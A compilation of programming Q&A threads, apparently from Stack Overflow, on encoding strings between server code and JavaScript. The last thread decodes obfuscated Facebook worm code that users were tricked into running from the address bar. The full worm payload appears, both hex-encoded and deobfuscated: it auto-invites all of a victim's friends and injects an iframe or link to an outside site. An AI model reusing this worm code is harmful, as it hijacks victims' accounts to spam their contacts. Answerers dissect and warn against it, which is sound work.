Does anybody know a way to convert a C# string to a JavaScript String in Asp.net. My code looks like this:
<script>
#{string thing = "Cats";}
var thing = String(#thing);
</script>
</div>
<body onload="eventAlert(thing)"></body>
You need to JavaScript Encode your string before you write it out, otherwise your string may contain characters that cause the JavaScript string constant to be terminated prematurely. You can do this with HttpUtility.JavaScriptStringEncode in the System.Web namespace. Once you have done that you need to stop razor from HTML Encoding the result which can be done with HtmlHelper.Raw like this:
#{string thing = "Cats Special Chars \"!'£$%^&*()#;:";}
var thing = "#Html.Raw(HttpUtility.JavaScriptStringEncode(thing))";
Try the following:
var thing = "#(thing)";
There are a couple of good ways to do this. But a very clean way is to use a cookie. This is clean because you are not injecting javascript code from the server into your static client code. Writing C# to create JavaScript and then insert that into a variable may have timing issues, depending on when your code runs and what .Net is doing. Be very careful in reading strings back for security concerns.
Related
I'm in a situation where I will need to pass in a shell bash script from node. This script breaks template literals since it contains variables like
${foo}
So I want to completely ignore syntax like
" $ '
And so on. What alternatives do you see for accomplishing this?
I have considered using JSON somehow but did not succeed, maybe I should encode the content?
Isn't escaping what you are looking for ?
const str = `\${im-escaped}` // '${im-escaped}'
I'm trying to encode an object in a Python script and set it as a cookie so I can read it with client-side JavaScript.
I've run into problems every way I've tried to do this. Generally, the cookie is formatted in a way that makes JSON.parse() break.
My current script:
cookie = Cookie.SimpleCookie()
data = {"name": "Janet", "if_nasty": "Ms. Jackson"}
cookie['test'] = json.dumps(data)
self.response.headers.add_header("Set-Cookie", cookie.output(header=''))
... which results in
test="{\"name\": \"janet\"\054 \"if_nasty\": \"Ms. Jackson\"}"
on the client.
I don't really want to introduce a hack-y solution to replace instances of commas when they appear. Any ideas how I can pass complex data structures (both by setting and reading cookies) with Python?
I also wanted to read a cookie (that had been set on the server) on the client. I worked around the issue by base64 encoding the JSON String, however there are a few small gotchas involved with this approach as well.
1: Base64 strings end with 0-2 equal signs, and these were being converted into the string \075. My approach is to revert those characters into equal characters on the client.
2: The base64 string is being enclosed in double quote characters in the cookie. I remove these on the client.
Server:
nav_json = json.dumps(nav_data)
nav_b64=base64.b64encode(nav_json)
self.response.set_cookie('nav_data', nav_b64)
Client:
var user_data_base64= $.cookie('nav_data');
// remove quotes from around the string
user_data_base64 = user_data_base64.replace(/"/g,"");
// replace \075 with =
user_data_base64 = user_data_base64.replace(/\\075/g,"=");
var user_data_encoded=$.base64.decode( user_data_base64 );
var user_data = $.parseJSON(user_data_encoded);
I am using 2 jquery plugins here:
https://github.com/carlo/jquery-base64
and
https://github.com/carhartl/jquery-cookie
Note: I consider this a hack: It would be better to re-implement the python code that encodes the cookie in javascript, however this also has the downside that you would need to notice and port and changes to that code.
I have now moved to a solution where I use a small html file to set the cookie on the client side and then redirect to the actual page requested. Here is a snippet from the JINJA2 template that I am using:
<script type="text/javascript">
var nav_data='{% autoescape false %}{{nav_data}}{% endautoescape %}';
$.cookie('nav_data', nav_data, { path: '/' });
window.location.replace("{{next}}")
</script>
Note 2: Cookies are not ideal for my use case and I will probably move on to Session or Local Storage to reduce network overhead (although my nav_data is quite small - a dozen characters or so.)
On the Python side:
json.dumps the string
escape spaces - just call .replace(' ', '%20')
Call urllib.parse.quote_plus() then write the string to the cookie
On the JavaScript side:
read the cookie
pass it through decodeURIComponent()
JSON.parse it
This seems to be the cleanest way I've found.
not sure a cookie is the best way of doing this? see the getting started guide for info rendering data to the client
I am using jQuery to post data from TinyMCE Rich text editor to asp.net backend, but the problem is, i call jquery function, it gives me errors, as the Editor code is in html having double quote, single quote and other html elements which collide with javascript string which is being posted to backend asp.net using .ajax function, so is there anyway encode a javascript string?
Like base64_encode, serialization,
if a code is like <label name="test">Hello</label>, its quotes mixed with js string, and jquery denies to send it, but if we convert it into some encoded string like yHuIolJak90#, it can be sent to backend easily.
Please help.
Thanks
Atif
An easy solution is, as you say, encoding into base 64 so that you don't have any encoding issues.
On the client side (JavaScript), you can use a small library:
http://www.webtoolkit.info/javascript-base64.html
On the server side (PHP), there is a built-in function:
http://php.net/manual/en/function.base64-decode.php
In fact you don't even need jQuery for the base 64 JavaScript library.
Sounds like you need to sanitise your input.
If the only issue is double quotes you could try URL encoding the string like this:
var str = your_tinyMCE_input;
alert(str);
str = encodeURI(str);
alert(str);
As far as encryption goes, I'm no expert so shouldn't comment. Base64 looks alright I suppose.
Hope this helps
It just works?
<div id="sendContents">
<h1>Works fine for me</h1>
<label name="test">Hello</label>
</div>
$.post('backend.php', {
myHtmlData: $('#sendContents').html()
}, function(response) {
$('#response').html(response);
});
Backend.php:
<?php echo '<b>'.$_POST['myHtmlData'].'</b>' ?>
Can we see your code that doesn't work?
I have been wondering if there is a way to define multiline strings in JavaScript like you can do in languages like PHP:
var str = "here
goes
another
line";
Apparently this breaks up the parser. I found that placing a backslash \ in front of the line feed solves the problem:
var str = "here\
goes\
another\
line";
Or I could just close and reopen the string quotes again and again.
The reason why I am asking because I am making JavaScript based UI widgets that utilize HTML templates written in JavaScript. It is painful to type HTML in strings especially if you need to open and close quotes all the time. What would be a good way to define HTML templates within JavaScript?
I am considering using separate HTML files and a compilation system to make everything easier, but the library is distributed among other developers so that HTML templates have to be easy to include for the developers.
No thats basically what you have to do to do multiline strings.
But why define the templates in javascript anwyay? why not just put them into a file and have a ajax call load them up in a variable when you need them?
For instantce (using jquery)
$.get('/path/to/template.html', function(data) {
alert(data); //will alert the template code
});
#slebetman, Thanks for the detailed example.
Quick comment on the substitute_strings function.
I had to revise
str.replace(n,substitutions[n]);
to be
str = str.replace(n,substitutions[n]);
to get it to work. (jQuery version 1.5? - it is pure javascript though.)
Also when I had below situation in my template:
$CONTENT$ repeated twice $CONTENT$ like this
I had to do additional processing to get it to work.
str = str.replace(new RegExp(n, 'g'), substitutions[n]);
And I had to refrain from $ (regex special char) as the delimiter and used # instead.
Thought I would share my findings.
There are several templating systems in javascript. However, my personal favorite is one I developed myself using ajax to fetch XML templates. The templates are XML files which makes it easy to embed HTML cleanly and it looks something like this:
<title>This is optional</title>
<body><![CDATA[
HTML content goes here, the CDATA block prevents XML errors
when using non-xhtml html.
<div id="more">
$CONTENT$ may be substituted using replace() before being
inserted into $DOCUMENT$.
</div>
]]></body>
<script><![CDATA[
/* javascript code to be evaled after template
* is inserted into document. This is to get around
* the fact that this templating system does not
* have its own turing complete programming language.
* Here's an example use:
*/
if ($HIDE_MORE$) {
document.getElementById('more').display = 'none';
}
]]></script>
And the javascript code to process the template goes something like this:
function insertTemplate (url_to_template, insertion_point, substitutions) {
// Ajax call depends on the library you're using, this is my own style:
ajax(url_to_template, function (request) {
var xml = request.responseXML;
var title = xml.getElementsByTagName('title');
if (title) {
insertion_point.innerHTML += substitute_strings(title[0],substitutions);
}
var body = xml.getElementsByTagName('body');
if (body) {
insertion_point.innerHTML += substitute_strings(body[0],substitutions);
}
var script = xml.getElementsByTagName('script');
if (script) {
eval(substitute_strings(script[0],substitutions));
}
});
}
function substitute_strings (str, substitutions) {
for (var n in substitutions) {
str.replace(n,substitutions[n]);
}
return str;
}
The way to call the template would be:
insertTemplate('http://path.to.my.template', myDiv, {
'$CONTENT$' : "The template's content",
'$DOCUMENT$' : "the document",
'$HIDE_MORE$' : 0
});
The $ sign for substituted strings is merely a convention, you may use % of # or whatever delimiters you prefer. It's just there to make the part to be substituted unambiguous.
One big advantage to using substitutions on the javascript side instead of server side processing of the template is that this allows the template to be plain static files. The advantage of that (other than not having to write server side code) is that you can then set the caching policy for the template to be very aggressive so that the browser only needs to fetch the template the first time you load it. Subsequent use of the template would come from cache and would be very fast.
Also, this is a very simple example of the implementation to illustrate the mechanism. It's not what I'm using. You can modify this further to do things like multiple substitution, better handling of script block, handle multiple content blocks by using a for loop instead of just using the first element returned, properly handling HTML entities etc.
The reason I really like this is that the HTML is simply HTML in a plain text file. This avoids quoting hell and horrible string concatenation performance issues that you'll usually find if you directly embed HTML strings in javascript.
I think I found a solution I like.
I will store templates in files and fetch them using AJAX. This works for development stage only. For production stage, the developer has to run a compiler once that compiles all templates with the source files. It also compiles JavaScript and CSS to be more compact and it compiles them to a single file.
The biggest problem now is how to educate other developers doing that. I need to build it so that it is easy to do and understand why and what are they doing.
You could also use \n to generate newlines. The html would however be on a single line and difficult to edit. But if you generate the JS using PHP or something it might be an alternative
Note that I am not experienced with Javascript. If a javascript code starts like this:
javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...
Then is it compiled? If so, any way of decompiling it? If it is not compiled, then any help on how to read this type of code?
Any help would be greatly appreciated.
EDIT:
Thank you all for the kind responds. And wow, I had no idea that I would get replied this quickly, kudos to Stackoverflow.
Nevertheless, can anyone help me make this more readible than:
var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
"\x73\x75\x67\x67\x65\x73\x74",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));
It's merely obfuscated. _0x89f8 is a normal variable, "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C" is a normal string (except with all characters written in hexadecimal: \x69 is i and so on; it says "innerHTML").
This looks like obfuscated JavaScript — whoever put it up doesn’t want it to be easily read. Without meaningful variable names, it will be difficult to understand (i.e. what does _0x89f8 mean?).
The string parameters are escaped strings: \x69 is the hex for the character i etc.
Copy-paste the following to your browser console (dev tools) (hit F12) to see how it looks:
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"
Chances are that the function being called builds up a JavaScript string from the parameters and then calls eval on them.
You'll find these on Facebook a LOT.
They're usually not this obfuscated though, and normally deal with friend invitations or something along those lines.
I hardly ever execute javascript in the address line so I never checked further into any of these.
This means I have no idea if this is malicious...
You can use this http://jsbeautifier.org/ tool to unobfuscate the code auto magically (well, at least partially)...
var _0x4249=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x30\x37\x31\x39\x36\x37\x36\x36\x33\x38\x35\x33\x35\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x31\x69\x37\x35\x35\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x36\x30\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0x4249[0],_0x4249[1],_0x4249[2],_0x4249[3],_0x4249[4],_0x4249[5],_0x4249[6],_0x4249[7],_0x4249[8],_0x4249[9],_0x4249[10],_0x4249[11],_0x4249[12],_0x4249[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0x4249[14]);
becomes....
var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=329722447896" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
fs[variables[10]]();
}, 4000);
void setTimeout(function () {
SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="http://sslhoster.com/pages/newps3" style="width: 798px; height: 550px;" frameborder=0 scrolling="no"></iframe>');
using default settings...
For this one in particular though I had to have access to the FB page to get ALL of the javascript (I'm digging further)...
Thankfully the Wife always asks before executing javascript in the address line (she found the javascript just this evening).
Kris
No this javascript is not compiled, the "strange" text you see is encoded text. For example
\x69 equals the letter i
It's a differant notation for normal letters and other characters (#,/ etc). And used to make text harder to read, or when using strange/unusual characters in strings for example.
The function escape() will go from i to \x69 .As where the function unescape() will go from \x69 back to the letter i.
The above code example is just an array of encoded strings.
It is an obfuscated JS code.
If something is a JS source code, it is never compiled, even if it looks unreadable.
There are many JS code obfuscators or minimizers exist.
Can you identify which program generated it?
This code appears to be part of a facebook worm.
Well, I have to admit, I was curious enough that I opened a new facebook profile to find out what this thing does...
after reading the un-obfuscated code you can determine that this script will automatically open your Friend's list, and suggest just this Facebook page to all your friends (the amount allowed, of course). Therefor sending out invitations (unknowingly) to all of your friends, which some will undoubtedly continue...
Simply put, don't copy any JavaScript lines without knowing who posted them in the first place. :)